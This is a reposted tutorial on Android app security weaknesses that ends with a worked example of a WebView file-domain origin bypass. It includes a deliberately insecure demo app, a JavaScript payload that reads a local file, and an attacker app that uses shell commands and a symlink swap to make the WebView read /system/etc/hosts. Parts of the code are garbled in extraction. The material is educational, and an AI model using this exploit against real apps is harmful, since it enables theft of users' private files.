Home  >  Article  >  Operation and Maintenance  >  WebView File Domain Origin Policy Bypass Vulnerability Example Analysis

WebView File Domain Origin Policy Bypass Vulnerability Example Analysis

王林
王林forward
2023-05-15 08:22:141484browse

Basic knowledge Android architecture

  • Kernel kernel layer
    Vulnerabilities are extremely harmful and highly versatile
    The drivers are numerous and complex, and there may be many Vulnerability

  • Libaries system runtime library layer

    • The runtime library provided in the form of system middleware
      includes libc, WebKit, SQLite, etc.

    • AndroidRunTime
      Dalvik virtual machine and kernel library

  • ##FrameWork application framework layer

    Provides a series of services and API interfaces

    • Activity Manager

    • Content Provider

    • View

    • Explorer

    • Notification Manager


  • Application application layer

    • ##System application
    • Home screen, Contact, Phone, Browser


    • Other applications
    • Programs implemented by developers using the API of the application framework layer


    Common components of Andoroid

    Acitivity Activity
  • Service Service
  • BroadcastRecviver Broadcast Receiver
  • ContentProvider Content Provider

  • Common Android App vulnerabilities (OWASP Mobile Top 10) Improper use of the platform

    Overview
  • Abuse of platform functions, or failure to Ability to use the platform's security controls. Such as Intent misuse, permission misuse, etc.


  • The risks
  • are very wide and may involve various services on the mobile platform


  • Examples
  • In the iOS system, the password data is stored in a local file instead of in the key chain, which results in it being read from the pseudo-encrypted backup data

    In the Android system, improper use of Intent causes malicious users to hijack and modify the content of the intent. Perform any action with the identity permissions of the original process

  • Insecure data storage
  • Insecure communication

  • Typical vulnerabilities and mining methods Data storage vulnerability

    Data files or directories
    • Clear text storage

    • MODE_PRIVATE
    • Clear text storage

    • MODE_PRIVATE mode was not used when creating the database

    • MODE_PRIVATE mode was not used when creating the configuration file, causing other programs to read the configuration file
    • It is stored in clear text, and the root user Readable, leading to sensitive data leakage

    • SharedPreferences
    • data/data/package name/shared_prefs/*.xml



    • SQLiteDatabases
    • data/data package name/database/*.db



      ##InternalStorage
    • data/data/program Registration/files/*


    • ##ExternalStorage

      /mnt/sdcard/*



    • Detection method

  • Browse each file and directory under the /data/data/package name directory and check whether there is one that is readable by other users File
    • Check whether there is clear text sensitive information in configuration files, databases, etc.


    • Mining method


  • Code detection
  • Check whether the mode parameter of openFileOutput, getSharedPrefreences, openOrCreateDatabase and other functions is MODE_PRIVATE(0x0000)


    • Data communication vulnerability

Use plaintext protocols such as HTTP to transmit sensitive information to the server


  • # #Capture clear text communications through LAN sniffing, malicious public WIFI, malicious proxy services, DNS hijacking and other means to generate man-in-the-middle attacks


    • Weak SSL certificate verification


  • Search for .method public checkServerTrusted

    • Locate .method and end method

    • Check whether there is return-void

    • Similarly check whether the return value of verify(String, SSLSession) is always True and whether the parameter of X509HostnameVerifier is ALLOW_ALLHOSTNAME_VERIFIER

    • Enable Fiddler's HTTPS parsing function, generate and export a self-signed certificate, and install it on the phone

    • Enable Fiddler proxy and allow remote access The host connects to the proxy

    • The APP lacks verification of the SSL certificate
      The client should implement the X509TruestManager class, including the three methods checkServerTrusted\checkClientTrusted\getInstance

    • Failure to verify the certificate will result in an exception, which will then be handled by the application.

    • Failure to verify the server certificate will result in TLS Man-in-the-middle attack

      When using HttpsURLConnection, the host name is not verified during the process of implementing the custom HostnameVerifier, and the certificate domain name and the site name are not checked by default to see if they match. Or when setting the HostnameVerifier of HttpsURLConnection, set it to ALLOW_ALL_HOSTNAME_VERIIER to accept all domain names.

    • Attack method

    • Mining method



    • SSL Certificate Strong Verification

      May be bypassed by Xp, Patch and other methods

Component Exposure Vulnerability

  • Android:exported is an attribute common to the four major components, used to indicate whether other applications are supported to call the current component

  • If there is an intent-filter, the default value is true; otherwise, the default value is false

  • Permission control of exported exported components

  • Bypass authentication

    • The activity is called by a third party after being exposed, and may log in/reset the password without a password

  • Sensitive information leakage

    • recviver is activated by a third party after being exposed, and debugging and other information may be viewed Sensitive information contained in The privileged program performs high-privilege actions by calling the components exposed by the high-privilege program

  • Mining method



    • View AndroidManifest.xml

  • Perform security assessment through drozer’s attacksurface tool



    Weak encryption vulnerability
    • Password hard coding

      Decompiling, root viewing, etc. can obtain

    • AES/DES weak encryption

      ECB mode is vulnerable to analysis or replay attacks

WebView
  • mainly includes three vulnerabilities:


  • Arbitrary code execution


  • Write a web page that traverses the object. If there is a getClass method, there is a remote code execution vulnerability

fiddler's before script allows any webview to be tested when accessing any webpage


  • After Android 4.2, the method annotated by addJavascriptInterface can be called by the java method in the webpage. If there is no filtering, there may be vulnerabilities

    • Excavation method:


    • Domain control is not strict
    • setAllowFileAccess



      setAllowFileAccessFromFileURLs
  • ##setAllowUniversalAccessFromFileURLs (leading to remote disclosure of sensitive information)


  • Local files can be accessed through symbolic link attacks: no matter how restricted, js can access this file. By delaying execution and replacing the current file with a soft link pointing to another file, the file pointed to by the symbolic link can be read.
    • WebView If the object is opened JavaScript support, and no restrictions on URLs in the form of file:///, will lead to the leakage of sensitive information such as cookies, private files, databases, etc.
    • Password storage in clear text
    • When the user chooses to save the username and password entered in WebViEW, they will be saved in clear text in data.db in the app directory
    • An attacker with root permissions can read


    • Summary of vulnerability mining process



      Static analysis
    • Quickly detect and obtain key analysis targets



  • Check the AndroidManifest file

Script analysis Smali code



  • Dynamic analysis

    Verification and hazard assessment of suspected risks
    • Debug mode analysis

    • Try operations/vulnerability verification
  • drozer

  • Packet capture analysis data and interface
    • Reverse analysis

      Encryption cracking and further analysis of logic and code


    • ##-

  • Automated auxiliary system

    • MobSF includes the front-end web interface,




      Marvin includes the front-end web Interface, deployment trouble

    Inspeckage Xposed plug-in

    • Today we will talk about WebView vulnerabilities
    • [Java] Plain text view Copy code

    • ?
    • Sample code address: https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.

    • Or my github: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1

    • The main difference between the following codes is the attack_file loaded this time. html

    • public class MainActivity extends Activity {
private WebView webView;

private Uri mUri;

private String url;

String mUrl1 = "file:///android_asset/html/attack_file.html";

//String mUrl2 = "file:///android_asset/html/test.html";


@ Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

webView = (WebView) findViewById(R.id.webview);

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");  

        webView.getSettings().setAllowFileAccessFromFileURLs(true);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override 

                public boolean onJsAlert(WebView view, String url, String message,JsResult result) {  

                //Required functionality here  

                return super.onJsAlert(view, url, message, result);  

            }  

        });  

        webView.loadUrl(mUrl1);  

    }  

    class JSInterface {  

        public String onButtonClick(String text) {  

            final String str = text;  

            runOnUiThread(new Runnable() {  

                @Override 

                public void run() {  

                    Log.e("leehong2", "onButtonClick: text = " str);  

                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " str, Toast.LENGTH_LONG).show();  

                }  

            });  

            return "This text is returned from Java layer.  js text = " text;  

        }  

        public void onImageClick(String url, int width, int height) {  

            final String str = "onImageClick: text = " url "  width = " width "  height = " height;  

            Log.i("leehong2", str);  

            runOnUiThread(new Runnable() {  

                @Override 

                public void run() {  

                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();  

                }  

            });  

        }  

    }  

}

这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。

   我们再来看attack_file.html的代码:‘

  

  

<script>  </p> <p>function stealFile()  </p> <p>{  </p> <p>    var file = "file:///mnt/sdcard/233.txt";  </p> <p>    var xmlHttpReq = new XMLHttpRequest();  </p> <p>    xmlHttpReq.onreadystatechange = function(){  </p> <p>        if(xmlHttpReq.readyState == 4){  </p> <p>            alert(xmlHttpReq.responseText);  </p> <p>        }  </p> <p>    }  </p> <p>xmlHttpReq.open("GET", file);  </p> <p>xmlHttpReq.send(null);  </p> <p>}  </p> <p>stealFile();  </p> <p></script>  

  

 

由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以返回/mnt/sdcard/2333.txt的值。

如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/2333.txt的值。

即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也可以跨过这个限制,这个我下一次讲讲.

First run WebViewFileDemo1, and then run AttackWebView to attack WebView.

We first look at WebViewFileDemo1, the main code is as follows:

package com.example.webviewfiledemo; [/size][/ font][/p]

import android.app.Activity;

import android.content.Intent;

import android.net.Uri;

import android.os.Bundle;

import android.util.Log;

import android.webkit.JsResult;

import android.webkit.WebChromeClient;

import android.webkit.WebView;

import android.widget.Toast;

public class MainActivity extends Activity {

private WebView webView;

private Uri mUri;

private String url;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

webView = (WebView) findViewById(R.id.webview);

webView.getSettings().setJavaScriptEnabled(true );

webView.addJavascriptInterface(new JSInterface(), "jsInterface");

webView.getSettings().setAllowFileAccessFromFileURLs(false);

//webView.getSettings ().setAllowFileAccess(false);

webView.setWebChromeClient(new WebChromeClient() {

@Override

public boolean onJsAlert(WebView view, String url, String message, JsResult result) {

                                                                                                                                                                                                                                . ;

Intent i = getIntent();

if (i != null) {

mUri = i.getData();

} }

if (mUri != null) {

url = mUri.toString();

## }

if (url != null) {

                                                                                                                                                              ’ s ’ s ’ s ’ ’ s ’ t   ‐                                                                                       ‐ to Receive the Intent from the outside, extract the URL in the Intent and load it.

Then let’s look at the AttackWebView project, which is the project that sends Intent to com.example.webviewfiledemo.MainActivity. The code is as follows:

public class MainActivity extends Activity {

public final static String HTML =

""

" Wait a few seconds." "

"<script>" <p></p> "var d = document;" "function doitjs(){" <p></p> "var xhr = new XMLHttpRequest;" <p></p> "xhr.onload = function(){" <p></p> "var txt = xhr.responseText;" <p></p> "d.body.appendChild(d.createTextNode(txt));" <p></p> "alert(txt);" "};" <p></p> "xhr.open('GET',d. URL);" <p></p> "xhr.send(null);" <p></p> "}" <p></p> "setTimeout(doitjs,8000);" <p></p> <p>            "</script>"   

            "";  

    public static String MY_TMP_DIR;  

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();  

        doit();  

    }  

    public void doit() {  

        String HTML_PATH = MY_TMP_DIR "/A0" ".html";  

        try {  

            cmdexec("mkdir " MY_TMP_DIR);  

            cmdexec("echo \"" HTML "\" > " HTML_PATH);  

            cmdexec("chmod -R 777 " MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP("file://" HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec("rm " HTML_PATH);  

            cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

    public void invokeVulnAPP(String url) {  

        try {  

            Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));  

            intent.addCategory(Intent.CATEGORY_LAUNCHER);   

            intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");  

            startActivity(intent);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

    public void cmdexec(String cmd) {  

        try {  

            String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };  

            Runtime.getRuntime().exec(tmp);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

}

通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:

public final static String HTML =   

        ""   

        "Wait a few seconds."    

        "<script>"   </p> <p>        "var d = document;"   </p> <p>        "function doitjs(){"   </p> <p>        "var xhr = new XMLHttpRequest;"   </p> <p>        "xhr.onload = function(){"   </p> <p>        "var txt = xhr.responseText;"   </p> <p>        "d.body.appendChild(d.createTextNode(txt));"   </p> <p>        "alert(txt);" "};"   </p> <p>        "xhr.open('GET',d.URL);"   </p> <p>        "xhr.send(null);"   </p> <p>        "}"   </p> <p> "setTimeout(doitjs,8000);" </p> <p> "</script>"

"";

When the webView in the WebViewFileDemo1 project After loading A0.html, the function of this html is to delay reading A0.html itself for 8 seconds. Let's go back to the AttackWebView project and look down at the code.

cmdexec("mkdir " MY_TMP_DIR); ;

            Thread.sleep(1000);    

            invokeVulnAPP("file://" HTML_PATH); cmdexec("rm " HTML_PATH);

cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH);

After calling invokeVulnAPP, 6 seconds later, we First delete A0.html, and then soft-link it to /system/etc/hosts again. Note that when the webView in the WebViewFileDemo1 project loads A0.html at this time, the function of this html is to delay reading A0.html itself for 8 seconds, so what is read after 8 seconds is the soft connection /system/etc/hosts.

The above is the detailed content of WebView File Domain Origin Policy Bypass Vulnerability Example Analysis. For more information, please follow other related articles on the PHP Chinese website!

Statement:
This article is reproduced at:yisu.com. If there is any infringement, please contact admin@php.cn delete